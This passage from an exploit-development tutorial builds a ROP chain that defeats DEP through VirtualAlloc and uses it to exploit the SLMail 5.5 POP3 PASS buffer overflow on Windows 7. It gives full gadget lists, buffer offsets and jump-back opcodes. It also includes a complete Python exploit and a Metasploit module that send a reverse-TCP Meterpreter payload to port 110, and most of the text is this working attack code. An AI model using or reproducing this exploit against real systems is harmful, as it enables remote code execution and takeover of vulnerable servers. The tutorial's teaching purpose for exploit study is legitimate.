0x5f4503e7, # PUSH EAX # ADD AL,5E # POP EBX # RETN [SLMFC.DLL]
0x00000000, # [-] Unable to find gadget to put 00001000 into edx
0x5f418e3c, # POP EAX # RETN [SLMFC.DLL]
0xffffffc0, # Value to negate, will become 0x00000040
0x5f465969, # NEG EAX # RETN [SLMFC.DLL]
0x5f4864b7, # XCHG EAX,ECX # DEC EAX # POP EDI # RETN [SLMFC.DLL]
0x41414141, # Filler (compensate)
0x5f469c12, # POP EDI # RETN [SLMFC.DLL]
0x5f445804, # RETN (ROP NOP) [SLMFC.DLL]
0x5f41909a, # POP EAX # RETN [SLMFC.DLL]
0x90909090, # nop
0x5f495b3d, # PUSHAD # RETN [SLMFC.DLL]
]
return ''.join(struct.pack('
Even if mona.py could not find valid gadgets to make the chain, that doesn’t mean the chain cannot be generated. Let’s try to generate our own rop chain with VirtualAlloc to make our exploit work.
To call VirtualAlloc, we need to set up the stack as follows:
Ptr to VirtualAlloc |
returnTo (address where VirtualAlloc returns) |
lpAddress (address where starts the memory allocation) |
dwsize (0x1) |
fAllocationType (0x1000) |
flProtect (0x40) |
To find a pointer to VirtualAlloc we can try to find a pointer from SLMFC.DLL to another module containing a pointer to the API. To help with this, mona.py has the command ropfunc.
We use ropfunc with the non-ASLR modules and excluding the bad chars:
!mona ropfunc -m mfc42loc.dll,slmfc.dll,Openc32.dll -cpb 'x00x0ax0d'
The command generates the files ropfunc.txt and ropfunc_offsets.txt. In ropfunc.txt there should be a list of pointers to interesting functions that can help bypass DEP. In ropfunc_offsets.txt there should be pointers to functions in modules which had pointers to VirtualAlloc, VirtualProtect, or other API functions to change or disable DEP.
Here is an example of ropfunc_offset.txt. There are plenty of valid pointers, so we take one with a small negative offset:
0x5f49a1cc : (SLMFC.DLL - IAT 0x5f49a1cc : kernel32.dll.kernel32!multibytetowidechar (0x750b18fe), offset to kernel32.dll.virtualalloc (0x750b1826) : -216 (-0x00000d8) | {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.8063.0 (C:Windowssystem32SLMFC.DLL)
From that line we know that in 0x5f49a1cc there is a pointer to a pointer that points to the function multibytetowidehchar in the kernel32.dll module, and that pointer is at an offset of -216 bytes from a pointer to the VirtualAlloc function in the same module.
To obtain a pointer to VirtualAlloc on ecx we can do something like this:
move ecx,0x5f49a1cc # put the pointer to pointer to multibytetowidechar on ecx
move ecx,[ecx] # get the address on memory of the pointer to multibytetowidechar
sub ecx,0x00000d8 # add/sub the offset to get the address of the pointer to VirtualAlloc
So our goal now is to set up the stack as we saw in the previous table, with ESP pointing to the pointer to VirtualAlloc, and put a RET instruction into EIP.
First let’s set up the stack using the gadgets in rop.txt and rop_suggestions.txt.
We save ESP (stack pointer) in ECX and use it to store values on the stack:
#--- Save ESP into ECX
0x5f42F7dc, # PUSH ESP # INC ESI # ADD DWORD PTR DS:[EAX],EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN 0x04
0x41414141, # to pop esi
0x5f4011f2, # RET
0x41414141, # compensate retn 0x04
The first gadget is trying to store a value in the address EAX points to (ADD DWORD PTR DS:[EAX],EAX), so we need to make sure there is a valid pointer in EAX. We can do this by adding this gadget at the top of the chain:
# Put a valid pointer on EAX
0x5f48c086, # MOV EAX,ECX # RETN
We get the pointer to VirtualAlloc:
# Ptr to VirtualAlloc on EAX
0x5f418fac, # POP EAX # RETN
0x5f49a1cc, # PTR to kernel32.dll (this address goes to EAX for the gadget before)
0x5f488461, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
0x5f4011f2, # RET (This is a ROP NOP, just goes to the next value on the stack)
0x41414141, # Compensate for the Retn 0x04
0x5f445803, # POP EDI # RETN
0xffffff28, # Offset to VirtualAlloc -0xd8 (we use a negative offset to avoid null bytes)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (We have the pointer on EAX)
0x41414141, # Filler to POP EDI
# Save the pointer to VirtualAlloc
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
At the address pointed to by ECX we have a pointer to VirtualAlloc; now we need to put the return address in place. This address is where VirtualAlloc will return, and will usually be behind the rop chain. As we don’t know yet how many bytes in length the rop chain is, this value will be fixed later. At the moment, let’s just give 320 bytes (0x140) for the chain.
# returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
0x5f418fac, # POP EAX # RETN
0xFFFFFEC0, # Value to EAX (-0x140, we use a negative value to avoid null bytes)
0x5f465969, # NEG EAX # RETN
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN (move ecx -> edi)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (On EAX we have the address)
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN (we need to add 4 to ECX to store the value on stack)
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
# Save returnTo
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
Next, the address where the allocation of memory starts. In exploits with enough space behind the rop chain the same value as returnTo can be used, but in this case we need to find another place to fit the shellcode.
From finsmsp.txt, we know that we can put the shellcode before the value that overwrites the saved EIP:
# findmsp.txt
0x01ce8fb8 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996 (-> 0x01ce939b : ESP-0xd8c)
So at offset 4092 we have 562 bytes to use before overwriting the saved EIP (offset 4654). What we are going to try is to put the shellcode before EIP, then the rop chain after, and just behind the rop chain a jump backwards to the shellcode. So for lpAddress we need to calculate the bytes to remove from the stack to set it at the address where the jump will land. At first, let’s remove 400bytes (0x190) and later we will adjust the value.
# lpAddress (Address where start the execute flag)
0x5f418fac, # POP EAX # RETN
0xFFFFFE70, # Value to EAX (-0x190)
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
The next value is dwSize, the size of the memory where we want to disable DEP. Here we know that the allocated space will start 400 bytes away (0x190), so we need a value which when added to lpAddress reaches the memory where the jump backwards instruction would be. For this value we are going to use 0x1FF:
# dwSize (0x1FF)
0x5f418fac, # POP EAX # RETN
0xFFFFFE01, # Value to EAX (-0x1FF)
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
Next we put flAllocationType at 0x1000 (MEM_COMMIT):
# flAllocationType (0x1000)
0x5f418fac, # POP EAX # RETN
0xFFFFF001, # -0xFFF (-0x1000 contains null bytes)
0x5f465969, # NEG EAX # RETN
0x5f4235b6, # INC EAX # RETN (0xFFF + 1 = 0x1000)
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
For the flProtect field we use 0x40 (PAGE_EXECUTE_READWRITE):
# flProtect (0x40)
0x5f418fac, # POP EAX # RETN
0xFFFFFFC0, # -0x40
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
Once the stack is set up, we need to make sure ESP is pointing to the VirtualAlloc pointer we put in the stack (the pointer is at ECX – 20bytes (0x14)):
# Make ESP point to VirtualAlloc pointer on stack and RET
0x5f418fac, # POP EAX # RETN
0xFFFFFFEC, # -0x14 (value to substract to ECX)
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (On eax is the pointer to VirtualAlloc)
0x41414141, # Filler to POP EDI
0x5f452c0f, # XCHG EAX,ESP # RETN (put the pointer on ESP)
The RETN instruction in the last gadget of the chain will launch the VirtualAlloc function, which will land after its execution somewhere on the buffer behind the chain (if we add enough space when calculating the return address)
Let’s put all this together to see if it’s working. Here is the first version of the current exploit:
import sys
import socket
import struct
def create_rop_chain():
rop_gadgets = [
# Put a valid pointer on EAX
0x5f48c086, # MOV EAX,ECX # RETN
#--- Save ESP into ECX
0x5f42F7dc, # PUSH ESP # INC ESI # ADD DWORD PTR DS:[EAX],EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN 0x04
0x41414141, # to pop esi
0x5f4011f2, # RET
0x41414141, # compensate retn 0x04
# Ptr to VirtualAlloc on EAX
0x5f418fac, # POP EAX # RETN
0x5f49a1cc, # PTR to kernel32.dll
0x5f488461, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x04
0x5f445803, # POP EDI # RETN
0xffffff28, # Offset to VirtualAlloc -0xd8
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
# Save the pointer to VirtualAlloc
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
0x5f418fac, # POP EAX # RETN
0xFFFFFEC0, # Value to EAX (-0x140)
0x5f465969, # NEG EAX # RETN
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
# Save returnTo
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# lpAddress (Address where start the execute flag)
0x5f418fac, # POP EAX # RETN
0xFFFFFE70, # Value to EAX (-400 bytes (0x190))
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# dwSize (0x1FF)
0x5f418fac, # POP EAX # RETN
0xFFFFFE01, # Value to EAX (-0x1FF)
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flAllocationType (0x1000)
0x5f418fac, # POP EAX # RETN
0xFFFFF001, # -0xFFF (-0x1000 contains null bytes)
0x5f465969, # NEG EAX # RETN
0x5f4235b6, # INC EAX # RETN (0xFFF + 1 = 0x1000)
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flProtect (0x40)
0x5f418fac, # POP EAX # RETN
0xFFFFFFC0, # -0x40
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# Make ESP point to VirtualAlloc pointer on stack and RET
0x5f418fac, # POP EAX # RETN
0xFFFFFFEC, # -0x14 (value to substract to ECX)
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (eax -> ptr VirtualAlloc)
0x41414141, # Filler to POP EDI
0x5f452c0f, # XCHG EAX,ESP # RETN
]
return ''.join(struct.pack('
In this version we use a chain of NOP instructions behind the rop chain because we don’t know the exact address to which VirtualAlloc is going to return. After the NOPs, we put just INT 3 instructions as shellcode, to create a breakpoint where the debugger will stop.
If the rop chain works as expected, then the NOP instructions will execute as well as the breakpoint. If not, the NOP instruction would generate an access violation error.
Attach the SLMAIL process to Immunity Debugger (started as administrator) and put a breakpoint on the last gadget of the rop chain:
B 0x5f452c0f
Then run the exploit, and if all goes well, the breakpoint should be reached:
Once the breakpoint is reached, we go step-by-step, pressing F7 in Immunity Debugger until the call to VirtualAlloc (16 steps):
Here is the stack at this point of execution:
Now we pass the VirtualAlloc function, pressing f8 to avoid going through the function step by step. Then we press F7 two more times and we should reach the NOPs we put before the shellcode:
As we can see, we reach the first NOP instruction (that was lucky…). Now to know if DEP is disabled just press F7 again. If all works well, the NOP instruction executes, and if not we will receive an access violation error.
Now that we know we can execute code on the stack, let’s try to find the place where the shellcode is, to calculate the distance of the backwards jump we need to make.
To achieve this, on Immunity we just double-click the memory address of the NOP to which VirtualAlloc returned. The view changes, and instead of memory addresses we start seeing offsets from the address we selected with the double click.
Now we just need to go backwards in the CPU window to find the “B”s (0x42) we put in the shellcode space, and look at the offset Immunity gives for the first “B”.
We need to jump backwards 0x37D bytes (893 bytes).
To make that jump, we return to the metasm_shell.rb script in the Metasploit framework:
We are going to add that jump just behind the rop chain (where VirtualAlloc returns) and put some NOPs and a breakpoint in the shellcode, to make sure we can execute code in that piece of stack. On the first run of the exploit, we need to look at the value of the lpAddress parameter, and then look at the address the jump goes to. Then we need to calculate the offset and fix the rop chain to make sure lpAddress is the same address where the jump lands, or at least an address before the jump address.
Here is the piece of code we modify from the previous exploit:
#0x5f4011f2 : # RET [SLMFC.DLL]
EIP=struct.pack(
Once again, execute the exploit with a breakpoint on the last gadget of the rop chain and step forward to the VirtualAlloc call (16 steps with F7):
Looking at the stack, we can see the lpAddress in this execution (yours may differ because of the ASLR) is 0x01C79FA4.
Pass the VirtualAlloc with F8 and two more steps with F7 to gain the jump instruction:
Here we see the jump will land at 0x01C79EF3, an address that is before the address we use in lpAddress. This means if we try to exec a NOP here, in some cases there should be an access violation error. To make sure the exploit works we need to get the offset between 0x01C79FA4 and 0x01C79EF3 (0x01C79FA4 – 0x01C79EF3 = 0xB1) and fix the rop chain. We were adding -0x190, so now we need to change it to 0x241 (0x190 + 0xB1 = 0x241). The twos complement of 0x241 is 0xFFFFFDBF.
Here is the section of the chain we need to modify:
# lpAddress (Address where start the DEP disabled)
0x5f418fac, # POP EAX # RETN
0xFFFFFDBF, # Value to EAX (-577 bytes (0x241))
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
Try the same with this exploit and compare the lpAddress value and the jump one:
As we can see, now the address is the same, and following the jump we get the second NOP of the chain we put in front of the shellcode:
We need to fix the lpAddress value and the jump code to jump one more byte to 0x02909EF2 (the first two bytes of the address could be different because of ASLR).
#lpAddress
0xFFFFFDbe, # Value to EAX (-578 bytes (0x242))
# Jump backwards opcodes
jmp_back = xe9x7dxfcxffxff # jmp $-37E
Now we just need to replace the shellcode witha reverse_tcp one from the Metasploit Framework, removing all the NOPs, because now we are landing on the first one and ensuring we have 562 bytes for a shellcode.
As we saw in the exploits before, remember to add the code to move away from ESP before executing the shellcode. This code length is six bytes, so we need 556 bytes for the final shellcode.
Final exploit:
import sys
import socket
import struct
def create_rop_chain():
rop_gadgets = [
# Put a valid pointer on EAX
0x5f48c086, # MOV EAX,ECX # RETN
#--- Save ESP into ECX
0x5f42F7dc, # PUSH ESP # INC ESI # ADD DWORD PTR DS:[EAX],EAX # POP ECX # MOV EAX,ESI # POP ESI # RETN 0x04
0x41414141, # to pop esi
0x5f4011f2, # RET
0x41414141, # compensate retn 0x04
# Ptr to VirtualAlloc on EAX
0x5f418fac, # POP EAX # RETN
0x5f49a1cc, # PTR to kernel32.dll
0x5f488461, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x04
0x5f445803, # POP EDI # RETN
0xffffff28, # Offset to VirtualAlloc -0xd8
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
# Save the pointer to VirtualAlloc
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
0x5f418fac, # POP EAX # RETN
0xFFFFFEC0, # Value to EAX (-0x140)
0x5f465969, # NEG EAX # RETN
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
# Save returnTo
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# lpAddress (Address where start the DEP disabled)
0x5f418fac, # POP EAX # RETN
0xFFFFFDBE, # Value to EAX (-578 bytes (0x242))
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# dwSize (0x1FF)
0x5f418fac, # POP EAX # RETN
0xFFFFFE01, # Value to EAX (-0x1FF)
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flAllocationType (0x1000)
0x5f418fac, # POP EAX # RETN
0xFFFFF001, # -0xFFF (-0x1000 contains null bytes)
0x5f465969, # NEG EAX # RETN
0x5f4235b6, # INC EAX # RETN (0xFFF + 1 = 0x1000)
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flProtect (0x40)
0x5f418fac, # POP EAX # RETN
0xFFFFFFC0, # -0x40
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# Make ESP point to VirtualAlloc pointer on stack and RET
0x5f418fac, # POP EAX # RETN
0xFFFFFFEC, # -0x14 (value to substract to ECX)
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (On eax is the pointer to VirtualAlloc)
0x41414141, # Filler to POP EDI
0x5f452c0f, # XCHG EAX,ESP # RETN
]
return ''.join(struct.pack('
We configure exploit/handler on msfconsole to get the session and execute the exploit again:
Here is the result of the exploit execution on the Windows 7 SP1 64bit box:
PWNED!!!! Yet again.
The Metasploit version
Now we are going to port our exploit to the Metasploit Framework. As a base, we are going to use the exploit skeleton from the Windows XP exploit we developed before.
Here is the exploit modified:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'SLMail 5.5 Pop3 Pass Exploit Module',
'Description' => 'This module exploits a buffer overflow when sending password to pop3 server',
'Author' => 'Nacho Sorribas',
'Payload' =>
{
'Space' => 556,
'BadChars' => x00x0ax0d,
},
'Targets' =>
[
['Windows 7 SP1 64bit Spanish',
{
'Ret' => 0x5f4011f2, #0x5f4011f2 : # RET [SLMFC.DLL]
'OffSet' => 4654,
'ShellCode_OffSet' => 4092,
}
]
],
'Platform' => 'win',
'DefaultTarget' => 0,
'Privileged' => false ))
register_options( [ Opt::RPORT(110)], self.class)
end
def create_rop_chain()
# rop chain generated by Nacho Sorribas
rop_gadgets = [
# Put a valid pointer on EAX
0x5f48c086, # MOV EAX,ECX # RETN
#--- Save ESP into ECX
0x5f42F7dc,
0x41414141, # to pop esi
0x5f4011f2, # RET
0x41414141, # compensate retn 0x04
# Ptr to VirtualAlloc on EAX
0x5f418fac, # POP EAX # RETN
0x5f49a1cc, # PTR to kernel32.dll
0x5f488461, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x04
0x5f445803, # POP EDI # RETN
0xffffff28, # Offset to VirtualAlloc -0xd8
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
# Save the pointer to VirtualAlloc
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# returnTo (Address where VirtualAlloc returns: must be behind the rop_chain)
0x5f418fac, # POP EAX # RETN
0xFFFFFEC0, # Value to EAX (-0x140)
0x5f465969, # NEG EAX # RETN
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
# Save returnTo
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# lpAddress (Address where start the DEP disabled)
0x5f418fac, # POP EAX # RETN
0xFFFFFDBE, # Value to EAX (-578 bytes (0x242))
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# dwSize (0x1FF)
0x5f418fac, # POP EAX # RETN
0xFFFFFE01, # Value to EAX (-0x1FF)
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flAllocationType (0x1000)
0x5f418fac, # POP EAX # RETN
0xFFFFF001, # -0xFFF (-0x1000 contains null bytes)
0x5f465969, # NEG EAX # RETN
0x5f4235b6, # INC EAX # RETN (0xFFF + 1 = 0x1000)
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4298a4, # INC ECX # RETN
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# flProtect (0x40)
0x5f418fac, # POP EAX # RETN
0xFFFFFFC0, # -0x40
0x5f465969, # NEG EAX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f4298a4, # INC ECX # RETN
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x08
0x41414141, # Compensate for the Retn 0x08
# Make ESP point to VirtualAlloc pointer on stack and RET
0x5f418fac, # POP EAX # RETN
0xFFFFFFEC, # -0x14 (value to substract to ECX)
0x5f425151, # PUSH ECX # INC EDX # POP EDI # RETN (move ecx to edi)
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN (eax -> ptr to VirtualAlloc)
0x41414141, # Filler to POP EDI
0x5f452c0f, # XCHG EAX,ESP # RETN
].flatten.pack(V*)
return rop_gadgets
end
# Connect to port, send the payload, handle it, disconnect
def exploit
size = 6000 # buffer size
move_esp = x81xc4xc0xfbxffxff # add esp,-440h
jmp_back = xe9x7dxfcxffxff # jmp $-37E
buffer = A * target['ShellCode_OffSet'] # Padding
buffer << move_esp
buffer << payload.encoded
buffer << B * (target['OffSet']-buffer.length)
buffer << [target.ret].pack('V') # EIP
buffer << create_rop_chain()
buffer << jmp_back
buffer << C * (size-buffer.length) # Padding to buffer size
request = PASS +buffer+rn
connect()
sock.get
sock.put(USER username rn)
sock.get
print_status(Sending evil buffer...)
sock.put(request)
handler()
disconnect()
end
end
Save it as /root/.msf4/modules/exploits/windows/pop3/slmail_pass_win7.rb and launch msfconsole. Configure the module and run the exploit command:
As we can see, the exploit is sending the stage but the Meterpreter session never comes. The problem is the way Metasploit makes the payload.
In this case we said that we have 556 bytes for the payload (Space variable in the payload block) and what Metasploit does is to generate the payload (around 347 bytes in this case) and fill the remaining bytes with NOPs until the final payload size is 556 bytes.
In the Python exploit we used “B”s as padding and the exploit was working fine.
Adding the parameter DisableNops => True to the payload block of the exploit changes this behavior from Metasploit and the payload just fits its own size.
Once this is added to the exploit, here is the final version:
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'SLMail 5.5 Pop3 Pass Exploit Module',
'Description' => 'This module exploits a buffer overflow when sending password to pop3 server',
'Author' => 'Nacho Sorribas',
'Payload' =>
{
'Space' => 556,
'BadChars' => x00x0ax0d,
'DisableNops' => 'True',
},
'Targets' =>
[
['Windows 7 SP1 64bit Spanish',
{
'Ret' => 0x5f4011f2, #0x5f4011f2 : # RET [SLMFC.DLL]
'OffSet' => 4654,
'ShellCode_OffSet' => 4092,
}
]
],
'Platform' => 'win',
'DefaultTarget' => 0,
'Privileged' => false ))
register_options( [ Opt::RPORT(110)], self.class)
end
def create_rop_chain()
# rop chain generated by Nacho Sorribas
rop_gadgets = [
# Put a valid pointer on EAX
0x5f48c086, # MOV EAX,ECX # RETN
#--- Save ESP into ECX
0x5f42F7dc,
0x41414141, # to pop esi
0x5f4011f2, # RET
0x41414141, # compensate retn 0x04
# Ptr to VirtualAlloc on EAX
0x5f418fac, # POP EAX # RETN
0x5f49a1cc, # PTR to kernel32.dll
0x5f488461, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04
0x5f4011f2, # RET
0x41414141, # Compensate for the Retn 0x04
0x5f445803, # POP EDI # RETN
0xffffff28, # Offset to VirtualAlloc -0xd8
0x5f46e759, # ADD EAX,EDI # TEST AL,49 # POP EDI # RETN
0x41414141, # Filler to POP EDI
# Save the pointer to VirtualAlloc
0x5f440377, # MOV DWORD PTR DS:[ECX],EAX # RETN 0x08
